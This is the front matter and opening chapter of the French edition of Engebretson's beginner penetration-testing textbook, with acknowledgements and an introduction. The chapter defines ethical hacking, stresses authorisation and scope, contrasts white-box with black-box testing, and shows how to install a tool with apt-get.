Vous êtes sur la page 1sur 369

Pearson France a apport le plus grand soin la ralisation de ce livre

afin de vous fournir une information complte et fiable. Cependant,


Pearson France nassume de responsabilits, ni pour son utilisation, ni
pour les contrefaons de brevets ou atteintes aux droits de tierces
personnes qui pourraient rsulter de cette utilisation.

Les exemples ou les programmes prsents dans cet ouvrage sont fournis
pour illustrer les descriptions thoriques. Ils ne sont en aucun cas destins
une utilisation commerciale ou professionnelle.

Pearson France ne pourra en aucun cas tre tenu pour responsable des
prjudices ou dommages de quelque nature que ce soit pouvant rsulter
de lutilisation de ces exemples ou programmes.

Tous les noms de produits ou marques cits dans ce livre sont des
marques dposes par leurs propritaires respectifs.


Publi par Pearson France
Immeuble Terra Nova II
15 rue Henri Rol-Tanguy
93100 Montreuil
Tl. : +33(0)1 43 62 31 00
www.pearson.fr


Mise en pages : Desk


ISBN dition imprime : 978-2-7440-2598-3
ISBN dition numrique : 978-2-7440-5723-6
Copyright 2013 Pearson France

Tous droits rservs

Titre original : The Basics of Hacking and Penetration Testing, Second
Edition, by Patrick Engebretson

Traduit par Herv Soulard

ISBN original : 978-0124116443
Copyright 2013, 2011 Elsevier Inc.

All Rights reserved.




Aucune reprsentation ou reproduction, mme partielle, autre que celles
prvues larticle L. 122-5 2 et 3 a) du code de la proprit
intellectuelle ne peut tre faite sans lautorisation expresse de Pearson
Education France ou, le cas chant, sans le respect des modalits
prvues larticle L. 122-10 dudit code.

No part of this book may be reproduced or transmitted in any form or by
any means, electronic or mechanical, including photocopying, recording
or by any information storage retrieval system, without permission from
Pearson Education, Inc.
Avertissement
Dans cet ebook, la taille de la police de caractre utilise pour le code a
t rduite et optimise afin de respecter au mieux l'indentation des lignes
de code et d'assurer leur bonne lisibilit. Si vous souhaitez agrandir la
police lors de votre lecture, nous vous invitons tre vigilants sur les
csures, sauts de lignes, et ruptures d'indentation qui pourraient en
dcouler.
Remerciements
Merci toutes les personnes qui se sont impliques dans la ralisation de
cette seconde dition. La publication dun livre est un travail dquipe et
jai eu la chance davoir t entour de collgues extraordinaires. La
liste ci-aprs est tristement insuffisante et je men excuse lavance. Je
remercie quiconque a permis de faire de cet ouvrage une ralit.
Ma femme
Mon rocher, mon phare, ma raison dtre. Merci pour tes
encouragements, ta confiance, ton soutien et ta bonne volont devenir
"mre clibataire" pendant que je disparaissais des heures et des jours
travailler sur cette seconde dition. Comme pour tant dautres choses
dans ma vie, je suis certain que sans toi cet ouvrage nexisterait pas. Je te
dois plus qu quiconque ce travail. Je taime.
Mes filles
Je sais que la rdaction de cette dition a t pour vous plus difficile
supporter que celle de la premire car vous tes prsent suffisamment
ges pour que mon absence vous soit douloureuse, mais nanmoins trop
jeunes pour la comprendre. Un jour, lorsque vous aurez grandi, jespre
que vous prendrez cet ouvrage et comprendrez que tout ce que je fais
dans la vie je le fais pour vous.
Ma famille
Merci tous les membres de ma famille largie pour votre amour et votre
soutien. Je remercie particulirement ma maman, Joyce, qui a encore
jou le rle dditeur officieux et a probablement lu cet ouvrage plus que
nimporte qui. Tes commentaires et tes conseils ont revtu une grande
importance.
Dave Kennedy
Jai t vritablement honor que tu contribues cet ouvrage. Je sais
combien tu es occup entre ta famille, TrustedSec, la tourne CON, SET
et tous les autres projets fous que tu mnes. Tu as toujours trouv du
temps pour celui-ci et tes ides ont permis darriver une dition
meilleure que je ne laurais espr. Merci, mon ami. Je serais indlicat de
ne pas te rendre un hommage supplmentaire, car tu as non seulement
contribu la validit technique de cet ouvrage, mais galement travaill
sans relche le rendre compatible avec Kali et tu tes charg seul du
Chapitre 5.
Jared DeMott
Que puis-je dire au dernier homme qui me donne limpression dtre un
parfait idiot devant un ordinateur ? Merci davoir donn de ton temps et
soutenu mon travail. Tu es devenu un bon ami et japprcie ton aide.
lquipe de Syngress
Encore merci pour mavoir offert lopportunit de cette publication !
Merci lquipe ditoriale, dont japprcie le dur travail et le
dvouement accord ce projet. Je salue particulirement Chris
Katsaropoulos pour tous ses efforts.
propos de lauteur
Patrick Engebretson est titulaire dun doctorat s sciences de luniversit
du Dakota, avec une spcialisation dans le domaine de la scurit de
linformation. Il est actuellement professeur adjoint en matire de
scurit des ordinateurs et des rseaux. Il travaille galement comme
expert en tests dintrusion pour une socit de scurit du Midwest. Ses
recherches concernent les tests dintrusion, le hacking, les exploits et les
logiciels malveillants. Il est intervenu en tant que confrencier lors des
manifestations DEFCON et Black Hat de Las Vegas. Il a galement t
invit par le Department of Homeland Security afin de partager ses
recherches lors du Software Assurance Forum qui sest tenu
Washington, DC. Il participe rgulirement aux formations de pointe sur
les exploits et les tests dintrusion rserves aux professionnels de
lindustrie et dtient plusieurs certifications. Il donne des cours sur les
tests dintrusion, lanalyse des logiciels malveillants et les exploits
labors.
Introduction
Il mest difficile de croire que dj deux ans se sont couls depuis la
premire dition de cet ouvrage. En raison de la popularit du manuscrit
de la seconde dition et des avis (principalement positifs) que jai reus,
je dois confesser mon anxit de la voir arriver dans les librairies. Le
contenu na pas chang de manire drastique. Les bases du hacking et
des tests dintrusion sont restes les mmes. Toutefois, aprs avoir achev
la premire dition, chang avec les lecteurs et cout les innombrables
suggestions damlioration soumises par ma famille, mes amis et mes
collgues, je pense que cette nouvelle version va clipser la premire sur
de nombreux points. Le contenu le plus ancien et obsolte a t retir, du
nouveau a t ajout et lintgralit de louvrage a t peaufine.
linstar de la plupart des personnes qui voluent dans le monde de la
scurit, je continue apprendre, mes mthodes denseignement
samliorent en permanence et mes tudiants me poussent leur donner
de nouvelles informations. Cest pourquoi je me suis intress de
nouveaux outils incroyables et dautres aspects que je mempresse de
partager avec vous. Je suis reconnaissant pour tous les commentaires sur
la premire dition que jai reus et jai travaill prement pour faire en
sorte que celle-ci soit meilleure encore.
Au dbut de mes rflexions sur la seconde dition, jai examin chaque
chapitre afin de vrifier la qualit de son contenu et quil restait pertinent.
Comme pour nimporte quelle seconde dition, vous constaterez que
certaines parties sont identiques la prcdente, que dautres ont t
actualises pour traiter des nouveaux outils et que dautres encore ont t
supprimes car obsoltes. Pour nombre dentre vous, le plus important
sera que jaborde de nouveaux sujets et outils afin de rpondre aux
questions qui mont souvent t poses. En matire de contrle de qualit,
Dave Kennedy et moi-mme avons revu chaque exemple et les outils
dcrits et avons actualis les captures dcran. Le livre a galement t
rdig de faon prendre en charge Kali Linux.
Je souhaite remercier tous les lecteurs de ldition prcdente qui mont
pos des questions et ont envoy des corrections. Je me suis assur
dinclure ces mises jour. Que vous ouvriez louvrage pour la premire
fois ou que vous y reveniez pour prendre connaissance des nouveaux
outils, je pense que vous apprcierez cette nouvelle dition.
Comme je lcrivais au dbut de la premire dition de ce livre, je
suppose que de nombreuses questions vous viennent lesprit alors que
vous envisagez de lire cet ouvrage. qui est-il destin ? En quoi diffre-
t-il dun autre ouvrage ? Pourquoi devrais-je lacheter ? Que dois-je
mettre en place pour reproduire les exemples ? Puisque toutes ces
questions sont lgitimes et que je vous demande de dpenser votre argent
durement gagn, il est important que japporte quelques rponses.
Pour les personnes qui sintressent au hacking et aux tests dintrusion,
trouver louvrage qui leur convient dans une librairie bien approvisionne
peut se rvler aussi compliqu que de parcourir le Web la recherche
de didacticiels sur le sujet. Au premier abord, il semble que le choix soit
presque infini. Les plus grandes librairies rservent des tagres entires
aux ouvrages sur la scurit informatique. Vous trouverez des livres sur
la scurit des programmes, celle des rseaux, celle des applications
web, celle des appareils mobiles, les rootkits, les logiciels malveillants, les
tests dintrusion, lvaluation de la vulnrabilit, lexploitation et, bien
entendu, le hacking. Par ailleurs, mme les ouvrages sur ce dernier thme
varient, tant par leur contenu que par le sujet prcis trait. Certains se
focalisent sur lemploi des outils, sans expliquer comment les associer.
Dautres se concentrent sur un point particulier du hacking, sans
sintresser sa globalit.
Cet ouvrage souhaite rpondre ces problmes. Il se veut un seul point
de dpart pour quiconque sintresse au hacking et aux tests dintrusion.
Il va videmment prsenter des outils et des sujets prcis, mais il
noubliera pas dexpliquer comment ces outils saccordent et comment ils
se fondent les uns sur les autres pour une utilisation russie. Pour aller au
bout de votre apprentissage initial, il vous faudra matriser la fois les
outils et la mthodologie qui permettra de les exploiter correctement.
Autrement dit, au dbut de votre formation, vous devrez comprendre non
seulement comment excuter chaque outil, mais galement comment ils
se combinent et comment ragir quand ils chouent.
Nouveauts de la 2
e
dition
1
Je lai mentionn prcdemment, jai pass beaucoup de temps tenter
de rpondre aux critiques et aux questions pertinentes que les lecteurs de
ldition prcdente ont portes mon attention. Jai repris tous les
exemples de chaque chapitre afin de massurer quils taient cohrents et
pertinents. En particulier, cette nouvelle dition sest attache amliorer
la structure, lordre, lorganisation et la classification de chaque attaque
et outil. Je me suis efforc didentifier clairement les attaques qui sont
locales et celles qui sont distantes afin que le lecteur comprenne mieux
lobjectif, la place et lesprit de chaque sujet. Par ailleurs, je me suis
normment investi dans la rorganisation des exemples afin quil soit
plus facile de mener bien les attaques prsentes contre une seule cible
(Metasploitable). La seule exception cela est la phase de
reconnaissance. La procdure de reconnaissance numrique requiert
souvent lutilisation de cibles actives pour tre efficace.
Outre les changements au niveau structurel, jai retir plusieurs outils de
ldition prcdente et en ai ajout de nouveaux la place, notamment
ThreatAgent, les outils dinterrogation du DNS, Nmap Scripting Engine,
Social-Engineer Toolkit, Armitage, Meterpreter, w3af, ZAP et dautres.
prsent, les exemples donns fonctionnent galement avec Kali Linux.
Enfin, jai mis jour la mthodologie ZEH (Zero Entry Hacking) pour
tenir compte des activits, des outils et des procdures postexploitation.
Public du livre
Cet ouvrage est un petit guide rigoureux dans le monde du hacking et des
tests dintrusion. Son objectif est de vous aider matriser les tapes de
base ncessaires la mise en place dun hack ou dun test dintrusion
sans que vous vous sentiez accabl. Au terme de sa lecture, vous aurez
acquis une solide comprhension des tests dintrusion et matriserez les
outils de base ncessaires leur mise en uvre.
Ce livre est plus prcisment destin aux personnes qui dbutent dans le
monde du hacking et des tests dintrusion, celles qui disposent daucune
ou dune petite exprience, celles qui sont frustres par le manque de
vision globale (comment sassocient les diffrents outils et tapes),
celles qui souhaitent se mettre jour avec les outils et les mthodes des
tests dintrusion, ainsi qu quiconque veut tendre ses connaissances en
matire de scurit offensive.
En rsum, cet ouvrage a t crit pour tous ceux qui sintressent la
scurit informatique, au hacking et aux tests dintrusion, sans possder
dexprience ni savoir par o commencer. Jai pour habitude de donner
ce concept le nom de Zero Entry Hacking (ZEH), ou "hacking en pente
douce". la manire de certaines piscines, lentre se fait
progressivement depuis une plage immerge ; les nageurs dbutants nont
plus craindre de plonger dans un environnement inconnu. Cet ouvrage
se fonde sur une approche comparable. Vous allez pntrer dans le
monde du hacking et des tests dintrusion en suivant une pente douce,
avec une prsentation des concepts de base qui vous vitera de vous
sentir accabl. Vous serez ensuite par pour des formations ou des
ouvrages plus labors.
Singularit du livre
Lorsque je ne passe pas du temps auprs de ma famille, voici mes deux
occupations prfres : lecture et hacking. En gnral, jassocie ces deux
passe-temps en lisant des ouvrages qui traitent de hacking. Vous pouvez
facilement imaginer quen tant quenseignant et professionnel des tests
dintrusion jai une bibliothque remplie douvrages sur le hacking, la
scurit et les tests dintrusion. La qualit et lintrt de chacun de ces
ouvrages varient. Certains constituent dexcellentes ressources et ont t
consults de si nombreuses reprises que les pages se dtachent.
Dautres sont moins utiles et pratiquement comme neufs. Un livre qui
explique correctement les dtails sans noyer le lecteur vaut son pesant
dor. Malheureusement, la plupart des ouvrages que je prfre, ceux qui
sont uss et en lambeaux, sont soit trs volumineux (plus de 500 pages)
soit trs cibls (guide approfondi sur un seul sujet). Aucune de ces
approches nest mauvaise. En ralit, ils sont trs intressants en raison
de leur niveau de dtail et de la clart des explications des auteurs.
Toutefois, un tome volumineux qui se focalise sur un sujet prcis de la
scurit risque de rebuter les nouveaux venus.
Malheureusement, pour un novice qui tente dapprocher le domaine de la
scurit et dapprendre les bases du hacking, la lecture de lun de ces
livres risque de se rvler intimidante et droutante. Le prsent ouvrage
se distingue des autres publications sur deux plans. Premirement, il est
destin aux dbutants (rappelez-vous le concept de "pente douce"). Si
vous navez jamais effectu une quelconque action de hacking ou avez
dj employ des outils mais ne savez pas comment avancer (ou
comment interprter les rsultats obtenus), cet ouvrage est fait pour vous.
Lobjectif nest pas de vous ennuyer avec des dtails mais de vous
prsenter une vue densemble suffisamment large du domaine. Ce livre
ne fera pas de vous un expert de tous les aspects des tests dintrusion,
mais vous allez acqurir les connaissances suffisantes pour passer des
sujets plus labors.
Bien videmment, les principaux outils ncessaires la mise en uvre
dun test dintrusion sont tudis, mais sans entrer en profondeur dans
toutes leurs fonctionnalits. Nous nous concentrerons sur les bases, ce qui
nous permettra, dans la plupart des cas, dviter toute confusion
provoque par des fonctionnalits labores ou des diffrences mineures
dans les versions des outils. Au terme de la lecture de cet ouvrage, vous
en saurez assez pour apprendre par vous-mme utiliser les
fonctionnalits avances ou les nouvelles versions des outils prsents.
Par exemple, dans le chapitre sur le scan des ports, nous expliquons
comment raliser des scans simples avec Nmap. Puisque cet ouvrage se
focalise sur les bases, la version de Nmap utilise devient moins
importante. La mise en place dun scan de type SYN avec Nmap est
identique que vous utilisiez la version 2 ou la version 5. Cette approche
sera retenue aussi souvent que possible afin que le lecteur qui dbute
avec Nmap (ou tout autre outil) nait pas se proccuper des
changements qui accompagnent souvent les nouvelles versions des
fonctionnalits labores. En rdigeant le contenu de ce livre selon ce
principe, sa dure de vie devrait sen trouver prolonge.
Dans cet ouvrage, nous avons pour objectif dapporter les connaissances
gnrales qui vous permettront de passer ensuite des sujets et des
livres plus avancs. Lorsque les bases sont matrises, il est toujours
possible de revenir en arrire et de dcouvrir les dtails spcifiques et les
fonctionnalits labores dun outil. Par ailleurs, chaque chapitre se
termine par une liste doutils et de sujets qui sortent du cadre de cet
ouvrage mais qui vous permettront de complter vos connaissances.
Deuximement, outre le fait dtre rdig pour les dbutants, ce livre
prsente les informations de manire unique. Tous les outils et techniques
employs sont appliqus dans un ordre prcis sur un ensemble rduit de
cibles proches (toutes les machines cibles appartiennent au mme sous-
rseau, avec une infrastructure facile recrer). Le lecteur verra
comment interprter les rsultats fournis par un outil et comment sen
servir pour poursuivre lattaque dun chapitre au suivant. Nous
examinons la fois les attaques locales et distantes, en expliquant
pourquoi lune ou lautre est prfrable.
En droulant de faon squentielle un exemple unique tout au long de cet
ouvrage, le lecteur aura une vision plus claire de lensemble et
comprendra plus aisment la place et les interactions de chaque outil. En
cela, son approche diffre des autres livres disponibles sur le march, qui
prsentent souvent les diffrents outils et attaques sans montrer comment
ils peuvent tre utiliss ensemble. Lutilisateur saura ainsi comment
passer dune tape une autre et pourra raliser lintgralit dun test
dintrusion en suivant simplement les exemples. Il va acqurir les
connaissances fondamentales tout en apprenant associer les diffrents
outils et mettre en place les diffrentes phases.
Raisons du choix de ce livre
Les sections prcdentes ont dj donn les raisons qui pourraient vous
pousser acheter cet ouvrage. En voici une liste condense :
Vous souhaitez acqurir des connaissances sur le hacking et
les tests dintrusion, sans savoir par o commencer.
Vous vous tes essay au hacking et aux tests dintrusion,
mais vous ntes pas certain de comprendre comment tous les
lments se combinent.
Vous souhaitez en savoir plus sur les outils et les procdures
employs par les pirates et les testeurs dintrusion pour
accder des rseaux et des systmes.
Vous cherchez acqurir les connaissances de base qui vous
permettront de mettre en place une scurit offensive.
Il vous a t demand deffectuer un audit de la scurit de
votre entreprise.
Vous aimez les dfis.
Suivre les exemples
Il est tout fait possible de lire cet ouvrage du dbut la fin sans
reproduire aucun des exemples. Je vous recommande toutefois de mettre
les mains dans le cambouis et dessayer les outils et techniques prsents.
Rien ne remplace lexprience acquise par la pratique. Tous les
exemples peuvent tre mis en uvre en utilisant des outils et des logiciels
gratuits, notamment VMware Player et Linux. Vous devez nanmoins
essayer dobtenir une copie de Windows XP (de prfrence sans les
Service Packs appliqus) afin de crer une cible Windows. En ralit,
nimporte quelle version de Windows, de 2000 8, fera laffaire, mais
les versions anciennes sans correctif constituent de meilleures cibles
initiales.
Dans le cas o vous ne pouvez pas obtenir une copie de Windows ni
crer une cible vulnrable, vous pouvez toujours raliser chaque tape
en crant ou en tlchargeant une version vulnrable de Linux. Tout au
long de cet ouvrage, nous employons une version dUbuntu conue
volontairement pour tre vulnrable appele Metasploitable. Elle
constitue une cible parfaite pour les mises en pratique et, mieux encore,
est totalement gratuite. Au moment de lcriture de ces lignes, vous
pouvez tlcharger Metasploitable partir du site SourceForge
ladresse http://sourceforge.net/projects/metasploitable/.
Attention
Cet ouvrage propose de nombreux liens web semblables au prcdent. Le
Web tant en constante volution, les adresses ont tendance tre
phmres. Si lun des liens donns ne fonctionne pas, servez-vous de
Google pour localiser la ressource correspondante.
Au Chapitre 1, nous reviendrons en dtail sur la mise en place dun
laboratoire de hacking, mais voici une liste rapide des lments dont vous
aurez besoin pour suivre les exemples de cet ouvrage :
VMware Player ou tout autre logiciel capable dexcuter une
machine virtuelle ;
une machine virtuelle Kali Linux ou BackTrack Linux, ou
une autre version de Linux, pour servir de machine
dattaque ;
la machine virtuelle Metasploitable ou nimporte quelle
version de Windows sans correctif (de prfrence
Windows XP) pour servir de cible.
1. N.d.E. : il sagit de la seconde dition de la version en anglais, mais de
la premire en franais.
1
Tests dintrusion
Introduction
Un test dintrusion peut tre vu comme une tentative lgale et autorise
de localiser des systmes informatiques et de russir y pntrer dans le
but damliorer leur niveau de scurit. La procdure comprend la
recherche de vulnrabilits ainsi que la mise en place dattaques en tant
que preuves de concept (POC, proof of concept) afin de dmontrer la
ralit des vulnrabilits. Un test dintrusion correct se termine toujours
par des recommandations prcises qui permettent de traiter et de corriger
les problmes dcouverts. En rsum, la procdure est utilise pour aider
scuriser les ordinateurs et les rseaux afin de les prmunir contre les
attaques futures. Lide gnrale est de trouver les problmes de scurit
en utilisant les mmes outils et techniques que les pirates. Ils seront
ensuite corrigs avant quun vritable pirate ne les exploite.
Les tests dintrusion sont parfois appels pentest, hacking, hacking
thique, hacking white hat ou scurit offensive.
Il est important de comprendre les diffrences entre test dintrusion et
valuation de la vulnrabilit. De nombreuses personnes (y compris les
fournisseurs) impliques dans la scurit les emploient tort de faon
interchangeable. Lvaluation de la vulnrabilit consiste examiner les
services et les systmes la recherche de problmes de scurit
ventuels, tandis quun test dintrusion ralise des exploits et des attaques
POC rels afin de dmontrer lexistence dun problme de scurit. Les
tests dintrusion vont au-del de lvaluation de la vulnrabilit en
simulant les actions dun pirate et en plaant de vritables attaques. Dans
cet ouvrage, lvaluation de la vulnrabilit constitue lune des tapes qui
permettent daller au bout dun test dintrusion.
Prparer le terrain
Pour avoir une vision globale, il est indispensable de comprendre les
diffrents acteurs et situations que lon rencontre dans le monde du
hacking et des tests dintrusion. Nous allons commencer par tracer les
grandes lignes du sujet. Sachez que les explications suivantes constituent
une simplification excessive. Toutefois, elles devraient vous aider voir
les diffrences entre les divers groupes de personnes impliqus.
Nous allons nous placer dans lunivers de Star Wars, avec les deux cts
de la "force" : les Jedi et les Sith (les bons et les mchants). Chaque camp
dispose dune puissance incroyable. Le premier lutilise pour protger et
servir, lautre, des fins personnelles.
Apprendre le hacking peut se comparer apprendre utiliser la force
(enfin, jimagine). Plus vous progressez dans votre apprentissage, plus
votre puissance augmente. un moment donn, vous devez dcider si
vous allez lexploiter pour faire le bien ou le mal. Des images de
lpisode 1 de Star Wars montrent Anakin en jeune garon. Si vous
regardez attentivement son ombre, vous verrez quelle correspond
celle de Darth Vader (vous trouverez ces images en effectuant une
recherche sur les termes "Anakin Darth Vader ombre"). Il est important
de comprendre pourquoi ces images ont un intrt. En tant que petit
garon, Anakin naspire pas devenir Darth Vader, mais cela se
produira nanmoins.
Nous pouvons supposer juste titre que les personnes qui entrent dans le
monde du hacking sont peu nombreuses vouloir devenir des
supermchants. Le problme est que le chemin vers le ct obscur est en
pente glissante. Cependant, si vous voulez tre grand, tre respect par
vos pairs et faire partie des forces de scurit, vous devez vous engager
utiliser vos pouvoirs dans le but de protger et de servir. Ajouter un
crime votre casier revient acheter un aller simple pour une autre
profession. Mme sil existe actuellement une pnurie dexperts en
scurit, peu demployeurs sont prts prendre le risque dembaucher
une personne qui a commis des crimes informatiques. Les rgles et les
contraintes deviennent encore plus strictes si vous envisagez un poste qui
requiert des habilitations de scurit.
Dans le monde des tests dintrusion, il est frquent dentendre les termes
white hat et black hat pour dcrire les Jedi et les Sith. Tout au long de cet
ouvrage, les termes white hat, "hacker thique" et "testeur dintrusion"
seront employs sans distinction pour reprsenter les Jedi (les bons
garons). Les Sith seront dsigns sous les termes black hat, cracker,
"pirate" ou "assaillant malveillant" (les mchants garons).
Il est important de noter que les hackers thiques et les pirates ralisent
les mmes activits en employant quasiment les mmes outils. Dans
pratiquement toutes les situations, un hacker thique doit agir et rflchir
comme un vritable assaillant malveillant. Plus le test dintrusion est
proche dune attaque relle, plus le rsultat prsentera un intrt pour le
client qui la command.
Vous laurez remarqu, dans le paragraphe prcdent nous avons
mentionn "dans pratiquement toutes les situations". Bien que les testeurs
dintrusion mettent en place les mmes actions avec les mmes outils, il
existe tout un monde de diffrences entre les deux cts. Elles peuvent se
rduire trois points essentiels : autorisation, motivation et intention. Ils ne
sont pas exhaustifs, mais ils seront utiles pour dterminer si une activit
entre ou non dans le cadre thique.
Lautorisation est la premire faon de diffrencier les white hat et les
black hat. Elle consiste obtenir un accord pour mener des tests et des
attaques. Lorsque cest fait, le testeur dintrusion et lentreprise audite
doivent dfinir ltendue du test. Cela comprend des informations
prcises sur les ressources et les systmes impliqus dans le test. Elle
dfinit explicitement les cibles autorises. Il est important que les deux
cts comprennent parfaitement laccord et ltendue du test dintrusion.
Les white hat doivent toujours respecter lautorisation qui leur a t
accorde et rester dans les limites du test. Ces contraintes ne sappliquent
pas aux black hat.
Info
Il est essentiel de dfinir clairement et de comprendre parfaitement
ltendue du test. Celle-ci tablit de faon formelle les rgles
dengagement du testeur dintrusion et du client. Elle doit comprendre
une liste des cibles et prciser les systmes ou les attaques que le client
refuse dinclure dans le test. Elle doit tre rdige sur un papier et signe
par le personnel autoris, la fois de lquipe de test et du client. Il peut
arriver quelle ait besoin dtre amende pendant le test dintrusion. Dans
ce cas, soyez certain de lactualiser et de la signer de nouveau avant de
procder des tests sur les nouvelles cibles.
La deuxime faon de diffrencier un hacker thique et un hacker
malveillant concerne leur motivation. Si lassaillant est motiv par des fins
personnelles, y compris un profit au travers dextorsion ou dautres
mthodes illgales auprs de la victime, par une volont de revanche, un
besoin de renomme ou autre, il doit tre considr comme un black hat.
A contrario, si les actions de lassaillant ont t autorises et si son
objectif est daider lentreprise amliorer sa scurit, il doit tre
considr comme un white hat. Par ailleurs, un hacker malveillant peut en
gnral consacrer lattaque de lentreprise tout le temps ncessaire.
Dans la plupart des cas, un testeur dintrusion naura au mieux que
quelques semaines. En fonction de la dure laisse la ralisation du test
dintrusion, un white hat pourra ne pas dcouvrir les vulnrabilits
labores qui demandent plus de temps.
Enfin, si lintention est de proposer lentreprise une simulation dattaque
raliste afin quelle puisse amliorer sa scurit en corrigeant les
vulnrabilits dcouvertes, lassaillant doit tre considr comme un
white hat. Il est galement important de comprendre que les dcouvertes
effectues lors dun test dintrusion doivent rester confidentielles. Jamais
un hacker thique ne partagera les informations sensibles dcouvertes au
cours dun test dintrusion avec une personne autre que son client. En
revanche, si lintention est dexploiter des informations des fins
personnelles, lassaillant doit tre considr comme un black hat.
Il est galement important de comprendre que tous les tests dintrusion ne
sont pas mens de la mme manire ni nont le mme objectif. Les tests
dintrusion par bote blanche, ou "transparents", sont trs rigoureux et
complets. Lobjectif dun tel test est dexaminer le systme ou le rseau
cible dans ses moindres recoins. Il permet dvaluer la scurit globale
de lentreprise. Puisque la discrtion nest pas de mise, nombre des outils
prsents dans cet ouvrage peuvent tre excuts en mode verbeux. En
privilgiant la rigueur la discrtion, le testeur dintrusion est souvent en
mesure de dcouvrir un plus grand nombre de vulnrabilits. Cependant,
cette approche a pour inconvnient dtre moins fidle la faon de
travailler des pirates expriments. Par ailleurs, elle noffre pas
lentreprise la possibilit de tester ses systmes de rponse aux incidents
et dalerte prcoce. Noubliez pas que le testeur a lintention dtre non
pas discret mais rigoureux.
Les tests dintrusion par bote noire, ou "cachs", se fondent sur une
stratgie radicalement diffrente. Un tel test constitue une simulation
beaucoup plus raliste dune attaque mene par un pirate expriment
pour obtenir un accs au systme ou au rseau cible. Il met de ct la
rigueur et la possibilit de dtecter de multiples vulnrabilits pour
privilgier la discrtion et la prcision. Dans ce cas, le testeur se
contentera de trouver une seule vulnrabilit quil pourra exploiter.
Lavantage de ce type de test est quil sapproche plus des attaques
relles. Peu de pirates effectueront aujourdhui un scan des 65 535 ports
dune cible. Cette opration est plutt bruyante et sera coup sr repre
par les pare-feu et les systmes de dtection dintrusion. Les hackers
malveillants intelligents seront beaucoup plus discrets. Ils pourront
scanner un seul port ou interroger un seul service afin de trouver une
manire de compromettre la cible et de se lapproprier. Les tests par
bote noire ont galement lavantage de donner lentreprise loccasion
de tester ses procdures de rponse aux incidents et de dterminer si ses
dfenses sont capables de dtecter une attaque cible et de larrter.
Introduction Kali et BackTrack Linux
Il y a quelques annes, une discussion ouverte sur les techniques de
hacking et leur enseignement aurait fait lobjet dun certain tabou. Les
temps ont heureusement chang et la valeur dune scurit offensive est
prsent comprise. Elle est aujourdhui adopte par les entreprises, quels
que soient leur taille et leur secteur dactivit. Les gouvernements la
prennent galement au srieux. Ils sont nombreux avoir annonc sa
mise en place.
Un test dintrusion doit jouer un rle important dans la scurit globale de
lentreprise. linstar des politiques, de lvaluation du risque, de la
planification de la continuit dactivit et du plan de reprise dactivit, qui
font dsormais partie intgrante dune stratgie de scurit, il faut y
ajouter les tests dintrusion. Ils permettent de voir lentreprise au travers
des yeux de lennemi. Ils peuvent mener des dcouvertes surprenantes,
en donnant le temps de corriger les systmes avant quun pirate nentre
en scne.
Lorsque lon souhaite apprendre le hacking, on a aujourdhui sa
disposition de nombreux outils. Non seulement ils sont prts lemploi,
mais nombre dentre eux font galement preuve dune grande stabilit
car ils bnficient de plusieurs annes de dveloppement. Pour certains
dentre vous, le plus important sera peut-tre que la plupart sont
disponibles gratuitement. Les outils prsents dans cet ouvrage sont tous
gratuits.
Sil est facile de savoir quun outil est gratuit, il peut en aller tout
autrement pour le trouver, le compiler et linstaller avec tous les autres
utilitaires requis pour mener bien un test dintrusion mme de base. Si la
procdure se rvle relativement simple sur un systme dexploitation
Linux moderne, elle reste un tantinet intimidante pour les novices. En
gnral, les gens sont plus intresss par apprendre utiliser les outils
qu explorer Internet pour les trouver et ensuite les installer.
Pour tre franc, vous devrez apprendre compiler et installer
manuellement les logiciels sur une machine Linux. Tout au moins, vous
devez vous familiariser avec loutil apt-get (ou quivalent).
Aller plus loin
APT (Advanced Package Tool) est un systme de gestion de
paquetages. Il permet dinstaller, dactualiser et de supprimer
rapidement et facilement des logiciels partir de la ligne de
commande. Outre sa simplicit, il prsente lintrt de rsoudre
automatiquement les problmes de dpendance. Autrement dit, si le
paquetage en cours dinstallation a besoin dun logiciel
supplmentaire, APT va se charger de localiser et dinstaller
automatiquement celui-ci. Cette possibilit constitue une nette
amlioration par rapport aux outils plus anciens.
Linstallation dun logiciel laide dAPT est trs simple. Par
exemple, supposons que nous souhaitions installer loutil Paros Proxy
sur notre machine Linux locale. Paros peut servir, entre autres,
valuer la scurit des applications web. Nous examinerons les
proxies au Chapitre 6, mais, pour le moment, concentrons-nous sur
linstallation de loutil plutt que sur son utilisation. Si nous
connaissons le nom du paquetage, il suffit dexcuter apt-get install
depuis la ligne de commande en lui prcisant ce nom. Il est toujours
prfrable dexcuter apt-get update avant dinstaller un logiciel car
nous sommes ainsi certains de disposer de la dernire version. Dans le
cas de Paros, il suffit de lancer les commandes suivantes :
apt-get update
apt-get install paros
Avant que linstallation du paquetage ne dbute, la quantit despace
disque requise est affiche et APT demande si nous souhaitons
poursuivre. Dans laffirmative, nous saisissons O et appuyons sur la
touche Entre. Lorsque linstallation du programme est termine, nous
revenons linvite #. Nous pouvons alors lancer Paros en excutant la
commande suivante depuis la console :
paros
Pour le moment, fermons simplement le programme Paros, car notre
objectif tait non pas de lancer ou dutiliser Paros, mais de montrer
linstallation dun nouveau logiciel.
Si vous ne souhaitez pas passer par la ligne de commande, sachez
quil existe plusieurs applications graphiques qui sinterfacent avec
APT. La plus rpandue se nomme Aptitude. Dautres gestionnaires de
paquetage sont disponibles, mais ils sortent du cadre de cet ouvrage.
APT nous oblige connatre le nom exact du logiciel installer avant
dexcuter la commande apt-get install. Si nous ne sommes pas
certains du nom ou ne connaissons pas son orthographe exacte, la
commande apt-cache search va nous tre utile. Elle affiche tous les
paquetages ou outils qui correspondent au critre de recherche et en
donne une courte description. Grce apt-cache search, nous
pouvons arriver rapidement au nom du paquetage que nous
recherchons. Par exemple, pour obtenir le nom officiel donn au
paquetage de Paros, nous commenons par excuter la commande
suivante :
apt-cache search paros
Dans les noms et les descriptions obtenus, nous devrions trouver le
paquetage recherch. Il suffira ensuite dexcuter la commande apt-
get install approprie.
Si vous choisissez la distribution Kali Linux, Paros sera dj install.
Mme dans ce cas, la commande apt-get install reste un outil puissant
pour linstallation des logiciels.
Des connaissances de base sur Linux vous seront profitables et vous en
tirerez de nombreux bnfices sur le long terme. Dans le cadre de cet
ouvrage, nous ne supposons aucune exprience pralable avec Linux.
Toutefois, pour votre propre bien, nhsitez pas vous engager devenir
plus tard un gourou Linux. Inscrivez-vous des formations, lisez des
livres ou dcouvrez par vous-mme. Vous nous en remercierez. Si vous
vous intressez aux tests dintrusion ou au hacking, vous navez dautre
choix que de matriser Linux.
Heureusement, le monde de la scurit profite dune communaut trs
active et trs gnreuse. Plusieurs organismes ont travaill inlassablement
la cration de distributions Linux adaptes la scurit. Une distribution
est de faon gnrale une variante, un type ou une marque driv de
Linux.
